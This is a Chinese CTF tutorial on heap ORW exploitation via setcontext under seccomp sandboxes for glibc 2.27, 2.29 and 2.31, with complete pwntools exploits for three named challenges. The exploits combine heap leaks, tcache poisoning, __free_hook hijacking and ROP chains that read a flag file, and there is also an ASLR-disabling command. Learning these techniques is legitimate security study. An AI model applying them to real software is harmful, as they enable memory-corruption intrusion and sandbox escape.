orw_heap(堆上的orw) setcontext介绍 pwntools 自带了一款可以控制寄存器值的工具,它实质上就是依靠 setcontext 来实现的
libc低版本2.27:
一般我们将free_hook或者malloc_hook地址的内容替换为setcontext+53,也就是mov rsp, [rdi+0xA0]这行代码,之后调用钩子函数的时候就会从这行代码开始执行。从这行代码往后,我们可以看到汇编代码修改了很多寄存器的值,因此使用setcontext可以方便的设置环境上下文。 这里我们着重关注一下修改rsp和rcx寄存器的两行代码,mov rsp, [rdi+0xA0]和mov rcx, [rdi+0xA8]。修改rsp的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行截图中最后的retn操作,而retn的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力。
例题:ciscn_2021_silverwolf
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 sub_E60 () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); __printf_chk(1LL , "Index: " ); __isoc99_scanf(&unk_1144, &v1); if ( !v1 && buf ) free (buf); return __readfsqword(0x28 u) ^ v2; }
UAF漏洞
开了sandbox程序中存在大量chunk
清空一个tcache来使用:
1 2 for i in range (7 ): add(0x78 )
这里给的libc-2.27比buu上的新,是有key检查的,free掉的chunk的bk指针被加了一个key值,free的时候会检查这个地方是否存在key,如果存在再去对其进行free会触发double free被检查出来
存的tcache头的fd指针,所以要将其覆盖掉
1 2 3 dele() edit('a' *0x10 ) dele()
接下来就可以泄露chunk地址,与tcache头chunk地址只有低三位不同,直接进行与运算
1 2 3 4 show() io.recvuntil(b'Content: ' ) heapbase = u64(io.recv(6 ).ljust(8 ,b'\x00' )) & 0xfffffffffffff000 log.success("heapbase --> " +hex (heapbase))
接下来把这个chunk头申请出来也就可以进行对tcache_perthread_struct攻击污染,
1 2 3 4 add(0x78 ) edit(p64(heapbase+0x10 )) add(0x78 ) add(0x78 )
申请到之后把0x250对应的count值改为7,因为头chunk的size = 0x250,这样free头chunk就会直接被放进unsortedbin,再show泄露libc
1 2 edit(b'\x00' *0x23 +b'\x07' ) dele()
1 2 3 4 show() leak_libc=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = leak_libc - 96 -0x10 - libc.sym['__malloc_hook' ] log.success("base --> " +hex (libc_base))
我们需要用到函数的地址:
1 2 3 4 5 6 setcontext_53=libc_base+libc.sym['setcontext' ]+53 write_addr=libc_base+libc.sym['write' ] free_hook=libc_base+libc.sym['__free_hook' ] read_addr=libc_base+libc.sym['read' ] syscall=libc_base+libc.search(asm("syscall\nret" )).next ()
libc中的gadget地址:
1 2 3 4 5 pop_rdi_ret=libc_base+0x000000000002164f pop_rsi_ret=libc_base+0x0000000000023a6a pop_rdx_ret=libc_base+0x0000000000001b96 pop_rax_ret=libc_base+0x000000000001b500 ret=libc_base+0x00000000000008aa
接下来写ORW:
1 2 3 4 5 6 7 8 9 10 11 12 13 orw=p64(pop_rdi_ret)+p64(heapbase+0x1000 ) orw+=p64(pop_rsi_ret)+p64(0 ) orw+=p64(pop_rax_ret)+p64(2 ) orw+=p64(syscall) orw+=p64(pop_rdi_ret)+p64(3 ) orw+=p64(pop_rsi_ret)+p64(heapbase+0x3000 ) orw+=p64(pop_rdx_ret)+p64(0x25 ) orw+=p64(read_addr) orw+=p64(pop_rdi_ret)+p64(1 ) orw+=p64(write_addr)
接下来继续污染tcache_perthread_struct,来伪造chunk用以存放flag,orw
1 2 3 4 5 6 7 payload=b'\x03' *0x40 +p64(free_hook)+p64(0 ) payload+=p64(heapbase+0x1000 ) payload+=p64(heapbase+0x2000 ) payload+=p64(heapbase+0x20a0 ) payload+=p64(heapbase+0x3000 ) payload+=p64(heapbase+0x3000 +0x60 ) edit(payload)
首先我们要伪造chunk写入free_hook,0x20的bin就行
0x30或者0x40的bin写’flag’,一个最大的可写0x78内容的chunk不够写下orw,所以用两个chunk拼接起来
我们需要让RSP 指向 ORW,rsp = rdi + 0xa0,我们选择rdi 地址为heapbase+0x2000,然后free释放,其地址作为参数传给free,也就是rdi,那么控制rsp的chunk地址应设置为heapbase+0x20a0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 add(0x10 ) edit(p64(setcontext_53)) add(0x30 ) edit(b'./flag\x00' ) add(0x60 ) edit(orw[:0x60 ]) add(0x70 ) edit(orw[0x60 :]) add(0x50 ) edit(p64(heapbase+0x3000 )+p64(ret)) add(0x40 ) dele()
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = process(['/home/s4ndw1ch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so' , './silverwolf' ], env={"LD_PRELOAD" :'/home/s4ndw1ch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6' }) elf = ELF('./silverwolf' ) libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so' ) def add (size ): io.recvuntil(b"Your choice: " ) io.sendline(b'1' ) io.recvuntil(b"Index: " ) io.sendline(b'0' ) io.recvuntil(b"Size: " ) io.sendline(str (size)) def edit (content ): io.recvuntil(b"Your choice: " ) io.sendline(b'2' ) io.recvuntil(b"Index: " ) io.sendline(b'0' ) io.recvuntil(b"Content: " ) io.sendline(content) def show (): io.recvuntil(b"Your choice: " ) io.sendline(b'3' ) io.recvuntil(b"Index: " ) io.sendline(b'0' ) def dele (): io.recvuntil(b"Your choice: " ) io.sendline(b'4' ) io.recvuntil(b"Index: " ) io.sendline(b'0' ) for i in range (7 ): add(0x78 ) dele() edit('\x00' *10 ) dele() show() io.recvuntil(b'Content: ' ) heapbase = u64(io.recv(6 ).ljust(8 ,b'\x00' )) & 0xfffffffffffff000 log.success("heapbase --> " +hex (heapbase)) add(0x78 ) edit(p64(heapbase+0x10 )) add(0x78 ) add(0x78 ) edit(b'\x00' *0x23 +b'\x07' ) dele() show() leak_libc=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = leak_libc - 96 -0x10 - libc.sym['__malloc_hook' ] log.success("base --> " +hex (libc_base)) setcontext_53=libc_base+libc.sym['setcontext' ]+53 write_addr=libc_base+libc.sym['write' ] free_hook=libc_base+libc.sym['__free_hook' ] read_addr=libc_base+libc.sym['read' ] syscall=libc_base+libc.sym['read' ]+0xf pop_rdi_ret=libc_base+0x000000000002164f pop_rsi_ret=libc_base+0x0000000000023a6a pop_rdx_ret=libc_base+0x0000000000001b96 pop_rax_ret=libc_base+0x000000000001b500 ret=libc_base+0x00000000000008aa orw=p64(pop_rdi_ret)+p64(heapbase+0x1000 ) orw+=p64(pop_rsi_ret)+p64(0 ) orw+=p64(pop_rax_ret)+p64(2 ) orw+=p64(syscall) orw+=p64(pop_rdi_ret)+p64(3 ) orw+=p64(pop_rsi_ret)+p64(heapbase+0x3000 ) orw+=p64(pop_rdx_ret)+p64(0x25 ) orw+=p64(read_addr) orw+=p64(pop_rdi_ret)+p64(1 ) orw+=p64(write_addr) payload=b'\x02' *0x40 +p64(free_hook)+p64(0 ) payload+=p64(heapbase+0x1000 ) payload+=p64(heapbase+0x2000 ) payload+=p64(heapbase+0x20a0 ) payload+=p64(heapbase+0x3000 ) payload+=p64(heapbase+0x3000 +0x60 ) edit(payload) add(0x10 ) edit(p64(setcontext_53)) print ("free_hook:" ,hex (free_hook))add(0x30 ) edit(b'./flag\x00' ) add(0x60 ) edit(orw[:0x60 ]) add(0x70 ) edit(orw[0x60 :]) add(0x50 ) edit(p64(heapbase+0x3000 )+p64(ret)) add(0x40 ) dele() io.interactive()
libc高版本2.29: 例题:Balsn2019_PlainText
这里开了PIE,建议先关掉ASLR,因为这题涉及到2.29unlink,开着pie会非常影响我们调试,且到free触发unlink的时候只有1/16的概率成功,因为off-by-null会覆盖一个字节为0,例如我们想修改fd指针地址为0x**028
我们修改低字节为0x28时,由于off-by-null的缘故会覆盖下一个字节为\x00,如果开启pie的情况下,会有半个字节是随机的,也就是1/16的概率是0,所以我们先关闭本地的ASLR,PIE也就失效了,重启之后会重新开启
1 sudo echo 0 > /proc/sys/kernel/randomize_va_space
这题的利用还是有难度的,前面的unlink利用这里就不展开叙述了,感兴趣的师傅可以去看看2.29的off-by-null的利用手法,主要还是学一下2.29的沙箱绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 def add (size,content ): io.recvuntil(b'Choice:' ) io.sendline(str (1 )) io.recvuntil(b'Size:' ) io.sendline(str (size)) io.recvuntil(b'Content:' ) io.send(content) def free (index ): io.recvuntil(b'Choice:' ) io.sendline(str (2 )) io.recvuntil(b'Idx:' ) io.sendline(str (index)) def show (index ): io.recvuntil(b'Choice:' ) io.sendline(str (3 )) io.recvuntil(b'Idx:' ) io.sendline(str (index)) for i in range (16 ): add(0x10 ,b'0x10' ) for i in range (16 ): add(0x60 ,b'0x60' ) for i in range (9 ): add(0x70 ,b'0x70' ) for i in range (5 ): add(0xC0 ,b'0xc0' ) for i in range (2 ): add(0xE0 ,b'0xe0' ) add(0x310 ,b'idx_48' ) add(0x3a50 ,b'idx_49' ) add(0xff0 ,b'idx_50-largebin' ) add(0x18 ,b'aaaa' ) free(50 ) add(0x2000 ,b'idx_50' ) add(0x28 ,p64(0 )+p64(0x241 )+b'\x28' ) add(0x28 ,'idx_53' ) add(0xf0 ,'idx_54' ) add(0x28 ,'idx_55' ) add(0x28 ,'idx_56' ) add(0x28 ,'idx_57' ) add(0x28 ,'idx_58' ) add(0x28 ,'idx_59' ) add(0x4f0 ,'idx_60' ) for i in range (61 ,61 +7 ): add(0x28 ,'idx_' +str (i)) for i in range (61 ,61 +7 ): free(i) free(53 ) free(59 ) free(52 ) add(0x28 ,"idx_52" ) add(0x28 ,"idx_53" ) add(0x28 ,"idx_59" ) for i in range (61 ,61 +4 ): add(0x28 ,'idx_' +str (i)) add(0x28 ,p8(0x10 )) add(0x28 ,p8(0x10 )) add(0x28 ,b'a' * 0x20 + p64(0x240 )) free(60 ) add(0x140 ,b"fake_chunk" ) show(55 ) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-96 -0x10 -libc.sym["__malloc_hook" ] success("libc_base =>" +hex (libc_base)) free_hook = libc_base + libc.sym["__free_hook" ] add(0x28 ,"idx_68" ) add(0x28 ,"idx_69" ) free(69 ) free(68 ) show(55 ) io.recv(1 ) heap_base = u64(io.recv(6 ).ljust(8 ,"\x00" ))&0xfffffffffffff000 success("heap_base => " +hex (heap_base))
我们完成libc和heap地址的泄露之后就可以布置orw了,首先控制free_hook
1 2 3 4 5 6 7 add(0x28 ,p64(0 )*2 ) add(0x28 ,p64(1 )*2 ) add(0x28 ,p64(2 )*2 ) free(67 ) add(0x60 ,p64(0 )*5 +p64(0x31 )+p64(free_hook)) add(0x28 ,'idx_71' )
free_hook里填什么,2.27下我们直接填入setcontext_53,但是2.29下由之前的rdi,变成了rdx
我们用ropper找一下和rdx,rdi有关的gadget
ropper -f libc-2.29.so –search ‘mov rdx’|grep ‘rdi + 8’
有两条gadget我们可以使用
我们选择第二条
准备好我们需要用到的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 mov_rdx_jmp = libc_base + 0x12be97 add(0x28 ,p64(mov_rdx_jmp)) setcontext_addr = libc_base + libc.sym["setcontext" ]+53 pop_rdi_ret = libc_base + 0x26542 pop_rsi_ret = libc_base + 0x26f9e pop_rdx_ret = libc_base + 0x12bda6 syscall_ret = libc_base + 0xcf6c5 pop_rax_ret = libc_base + 0x47cf8 ret = libc_base + 0x2535f str_flag_file = heap_base + 0x270 + 4 * 0x8 + 0xB8 str_flag_addr = heap_base + 0x1000 payload_addr = heap_base + 0x270
那么接下来思考如何构造payload
最先填入的也就是free时,rdi的位置,我们的gadget中mov rax ,qword pte [rdi]; …… jmp rax,那么这里我们就可以填入setcontext的地址让其被执行
1 payload = p64(setcontext_addr)
接下来就是rdi+8的位置了,rdx就会被赋予这个地址存放的值,我们希望控制RSP去指向我们构造的orw
RSP = RDX + 0xA0,如果我们把orw_chain 地址写在rdi+0x10的地方那么也就是payload_addr + 0x10,那么RDX就应该为payload_addr + 0x10-0xA0,也就是rdi +8位置我们需要填的值
1 2 3 payload += p64(payload_addr - 0xA0 + 0x10 ) payload += p64(payload_addr + 0x20 ) payload += p64(ret)
orw_chain:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 orw_chain = p64(pop_rdi_ret) + p64(str_flag_file) orw_chain += p64(pop_rsi_ret) + p64(0 ) orw_chain += p64(pop_rdx_ret) + p64(0 ) orw_chain += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw_chain += p64(pop_rdi_ret) + p64(3 ) orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["read" ]) orw_chain += p64(pop_rdi_ret) + p64(1 ) orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["write" ]) payload += orw_chain payload += './flag\x00' add(len (payload)+0x10 ,payload) free(73 )
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 from pwn import *context(os = 'linux' ,arch = 'amd64' , log_level = 'debug' ) io = process('./plaintext' ) libc = ELF('./libc-2.29_plain.so' ) def add (size,content ): io.recvuntil(b'Choice:' ) io.sendline(str (1 )) io.recvuntil(b'Size:' ) io.sendline(str (size)) io.recvuntil(b'Content:' ) io.send(content) def free (index ): io.recvuntil(b'Choice:' ) io.sendline(str (2 )) io.recvuntil(b'Idx:' ) io.sendline(str (index)) def show (index ): io.recvuntil(b'Choice:' ) io.sendline(str (3 )) io.recvuntil(b'Idx:' ) io.sendline(str (index)) for i in range (16 ): add(0x10 ,b'0x10' ) for i in range (16 ): add(0x60 ,b'0x60' ) for i in range (9 ): add(0x70 ,b'0x70' ) for i in range (5 ): add(0xC0 ,b'0xc0' ) for i in range (2 ): add(0xE0 ,b'0xe0' ) add(0x310 ,b'idx_48' ) add(0x3a50 ,b'idx_49' ) add(0xff0 ,b'idx_50-largebin' ) add(0x18 ,b'aaaa' ) free(50 ) add(0x2000 ,b'idx_50' ) add(0x28 ,p64(0 )+p64(0x241 )+b'\x28' ) add(0x28 ,'idx_53' ) add(0xf0 ,'idx_54' ) add(0x28 ,'idx_55' ) add(0x28 ,'idx_56' ) add(0x28 ,'idx_57' ) add(0x28 ,'idx_58' ) add(0x28 ,'idx_59' ) add(0x4f0 ,'idx_60' ) for i in range (61 ,61 +7 ): add(0x28 ,'idx_' +str (i)) for i in range (61 ,61 +7 ): free(i) free(53 ) free(59 ) free(52 ) add(0x28 ,"idx_52" ) add(0x28 ,"idx_53" ) add(0x28 ,"idx_59" ) for i in range (61 ,61 +4 ): add(0x28 ,'idx_' +str (i)) add(0x28 ,p8(0x10 )) add(0x28 ,p8(0x10 )) add(0x28 ,b'a' * 0x20 + p64(0x240 )) free(60 ) add(0x140 ,b"fake_chunk" ) show(55 ) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-96 -0x10 -libc.sym["__malloc_hook" ] success("libc_base =>" +hex (libc_base)) free_hook = libc_base + libc.sym["__free_hook" ] add(0x28 ,"idx_68" ) add(0x28 ,"idx_69" ) free(69 ) free(68 ) show(55 ) io.recv(1 ) heap_base = u64(io.recv(6 ).ljust(8 ,"\x00" ))&0xfffffffffffff000 success("heap_base => " +hex (heap_base)) add(0x28 ,p64(0 )*2 ) add(0x28 ,p64(1 )*2 ) add(0x28 ,p64(2 )*2 ) free(67 ) add(0x60 ,p64(0 )*5 +p64(0x31 )+p64(free_hook)) add(0x28 ,'idx_71' ) mov_rdx_jmp = libc_base + 0x12be97 add(0x28 ,p64(mov_rdx_jmp)) setcontext_addr = libc_base + libc.sym["setcontext" ]+53 pop_rdi_ret = libc_base + 0x26542 pop_rsi_ret = libc_base + 0x26f9e pop_rdx_ret = libc_base + 0x12bda6 syscall_ret = libc_base + 0xcf6c5 pop_rax_ret = libc_base + 0x47cf8 ret = libc_base + 0x2535f str_flag_file = heap_base + 0x270 + 4 * 0x8 + 0xB8 str_flag_addr = heap_base + 0x1000 payload_addr = heap_base + 0x270 payload = p64(setcontext_addr) payload += p64(payload_addr - 0xA0 + 0x10 ) payload += p64(payload_addr + 0x20 ) payload += p64(ret) orw_chain = p64(pop_rdi_ret) + p64(str_flag_file) orw_chain += p64(pop_rsi_ret) + p64(0 ) orw_chain += p64(pop_rdx_ret) + p64(0 ) orw_chain += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw_chain += p64(pop_rdi_ret) + p64(3 ) orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["read" ]) orw_chain += p64(pop_rdi_ret) + p64(1 ) orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["write" ]) payload += orw_chain payload += './flag\x00' add(len (payload)+0x10 ,payload) free(73 ) io.interactive()
libc高版本2.31: 例题:DASCTF2021 ParentSimulator 程序有检查root权限,涉及到chroot jail escape,由于我们是学习ORW,直接patch掉即可
解法 1:gadget+setcontext 2.31我们能利用的gadget
本题漏洞是UAF,借此来泄露libc和heap_base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 def add (idx, gender, name ): io.sendlineafter(">> " , '1' ) io.sendlineafter("Please input index?\n" , str (idx)) io.sendlineafter("Please choose your child's gender.\n1.Boy\n2.Girl:\n" , str (gender)) io.sendafter("Please input your child's name:\n" , name) def edit_name (idx, name ): io.sendlineafter(">> " , '2' ) io.sendlineafter("Please input index?" , str (idx)) io.sendafter("Please input your child's new name:" , name) def show (idx ): io.sendlineafter(">> " , '3' ) io.sendlineafter("Please input index?" , str (idx)) def free (idx ): io.sendlineafter(">> " , '4' ) io.sendlineafter("Please input index?" , str (idx)) def edit_desc (idx, desc ): io.sendlineafter(">> " , '5' ) io.sendlineafter("Please input index?" , str (idx)) io.sendafter("Please input your child's description:" , desc) def change_gender (idx, gender ): io.sendafter(">> " , "666" ) io.sendafter("Please input index?" , str (idx)) io.recvuntil("Current gender:" ) address = u64(io.recvuntil(b'\n' , drop=True ).ljust(8 , b'\x00' )) io.sendafter("Please rechoose your child's gender.\n1.Boy\n2.Girl:" , str (gender)) return address for i in range (10 ): add(i,1 ,str (i)) for i in range (7 ): free(6 -i) free(8 ) free(7 )
写好自动化交互函数首先申请10个chunk,释放chunk填满tcachebin,然后将chunk7,chunk8free进unsortedbin
然后申请一个tcachebin出来,再把chunk8 free进tcachebin,那么再申请一个chunk时就是chunk8的地址,再把chunk8释放,我们就可以泄露地址了,chunk8的bk指向的头chunk的地址+0x10
1 2 3 4 5 6 7 8 9 10 11 add(0 ,1 ,'1' ) free(8 ) add(0 ,1 ,'1' ) free(8 ) show(0 ) io.recvuntil("nder: " ) heap_base= u64(io.recv(6 ).ljust(8 ,b'\x00' )) success('heap_base --->' +hex (heap_base))
此时把所有chunk申请回来并且切割unsortedbin让chunk8的fd,bk指向unsortedbin,泄露libc
1 2 3 4 5 6 for i in range (1 ,9 ): add(i,1 ,'a' ) show(0 ) io.recvuntil("Name: " ) libc_base= u64(io.recv(6 ).ljust(8 ,b'\x00' ))-96 -0x10 -libc.sym['__malloc_hook' ] success('libc_base --->' +hex (libc_base))
1 2 3 4 5 6 7 8 9 10 mov_rdx_gadget = libc_base + 0x1547a0 free_hook = libc_base + libc.sym['__free_hook' ] setcontext_61 = libc_base + libc.sym['setcontext' ] + 61 pop_rdi_ret = libc_base + 0x26b72 pop_rsi_ret = libc_base + 0x27529 pop_rdx_r12_ret = libc_base + 0x11c1e1 open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ]
1 2 3 4 5 6 7 8 add(9 ,1 ,'a' ) free(3 ) free(1 ) edit_name(0 ,p64(heap_base+0x380 )[:-1 ]) add(8 ,1 ,'a' ) add(9 ,1 ,'a' )
1 2 3 4 5 6 7 payload=p64(0 )+p64(0x111 ) payload+=p64(0 )+p64(heap_base+0x3a8 -0x18 ) payload+=p64(setcontext_61) payload+=b'\x00' *(0xa0 -len (payload)) + p64(heap_base+0x5d0 )+p64(pop_rdi_ret) edit_desc(9 ,payload)
1 2 3 4 5 6 7 free(7 ) free(8 ) edit_name(0 ,p64(free_hook)[:-1 ]) add(8 ,1 ,'a' ) add(7 ,1 ,p64(mov_rdx_gadget)[:-1 ])
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 orw=p64(heap_base+0xb10 ) orw+=p64(pop_rsi_ret)+p64(0 ) orw+=p64(open_addr) orw+=p64(pop_rdi_ret)+p64(4 ) orw+=p64(pop_rsi_ret)+p64(heap_base+0x1000 ) orw+=p64(pop_rdx_r12_ret)+p64(0x30 )+p64(0x30 ) orw+=p64(read_addr) orw+=p64(pop_rdi_ret)+p64(1 ) orw+=p64(pop_rdx_r12_ret)+p64(0x30 )+p64(0x30 ) orw+=p64(write_addr) edit_desc(4 ,orw) edit_name(0 ,'./flag\x00' ) free(2 )
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from pwn import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) io = process('./pwn' ) libc = ELF("./libc-2.31.so" ) def add (idx, gender, name ): io.sendlineafter(">> " , '1' ) io.sendlineafter("Please input index?\n" , str (idx)) io.sendlineafter("Please choose your child's gender.\n1.Boy\n2.Girl:\n" , str (gender)) io.sendafter("Please input your child's name:\n" , name) def edit_name (idx, name ): io.sendlineafter(">> " , '2' ) io.sendlineafter("Please input index?" , str (idx)) io.sendafter("Please input your child's new name:" , name) def show (idx ): io.sendlineafter(">> " , '3' ) io.sendlineafter("Please input index?" , str (idx)) def free (idx ): io.sendlineafter(">> " , '4' ) io.sendlineafter("Please input index?" , str (idx)) def edit_desc (idx, desc ): io.sendlineafter(">> " , '5' ) io.sendlineafter("Please input index?" , str (idx)) io.sendafter("Please input your child's description:" , desc) def change_gender (idx, gender ): io.sendafter(">> " , "666" ) io.sendafter("Please input index?" , str (idx)) io.recvuntil("Current gender:" ) address = u64(io.recvuntil(b'\n' , drop=True ).ljust(8 , b'\x00' )) io.sendafter("Please rechoose your child's gender.\n1.Boy\n2.Girl:" , str (gender)) return address for i in range (10 ): add(i,1 ,str (i)) for i in range (7 ): free(6 -i) free(8 ) free(7 ) add(0 ,1 ,'1' ) free(8 ) add(0 ,1 ,'1' ) free(8 ) show(0 ) io.recvuntil("nder: " ) heap_base= u64(io.recv(6 ).ljust(8 ,b'\x00' )) success('heap_base --->' +hex (heap_base)) for i in range (1 ,9 ): add(i,1 ,'a' ) show(0 ) io.recvuntil("Name: " ) libc_base= u64(io.recv(6 ).ljust(8 ,b'\x00' ))-96 -0x10 -libc.sym['__malloc_hook' ] success('libc_base --->' +hex (libc_base)) mov_rdx_gadget = libc_base + 0x1547a0 free_hook = libc_base + libc.sym['__free_hook' ] setcontext_61 = libc_base + libc.sym['setcontext' ] + 61 pop_rdi_ret = libc_base + 0x26b72 pop_rsi_ret = libc_base + 0x27529 pop_rdx_r12_ret = libc_base + 0x11c1e1 open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] add(9 ,1 ,'a' ) free(3 ) free(1 ) edit_name(0 ,p64(heap_base+0x380 )[:-1 ]) add(8 ,1 ,'a' ) add(9 ,1 ,'a' ) payload=p64(0 )+p64(0x111 ) payload+=p64(0 )+p64(heap_base+0x3a8 -0x18 ) payload+=p64(setcontext_61) payload+=b'\x00' *(0xa0 -len (payload)) + p64(heap_base+0x5d0 )+p64(pop_rdi_ret) edit_desc(9 ,payload) free(7 ) free(8 ) edit_name(0 ,p64(free_hook)[:-1 ]) add(8 ,1 ,'a' ) add(7 ,1 ,p64(mov_rdx_gadget)[:-1 ]) orw=p64(heap_base+0xb10 ) orw+=p64(pop_rsi_ret)+p64(0 ) orw+=p64(open_addr) orw+=p64(pop_rdi_ret)+p64(4 ) orw+=p64(pop_rsi_ret)+p64(heap_base+0x1000 ) orw+=p64(pop_rdx_r12_ret)+p64(0x30 )+p64(0x30 ) orw+=p64(read_addr) orw+=p64(pop_rdi_ret)+p64(1 ) orw+=p64(pop_rdx_r12_ret)+p64(0x30 )+p64(0x30 ) orw+=p64(write_addr) edit_desc(4 ,orw) edit_name(0 ,'./flag\x00' ) free(2 ) io.interactive()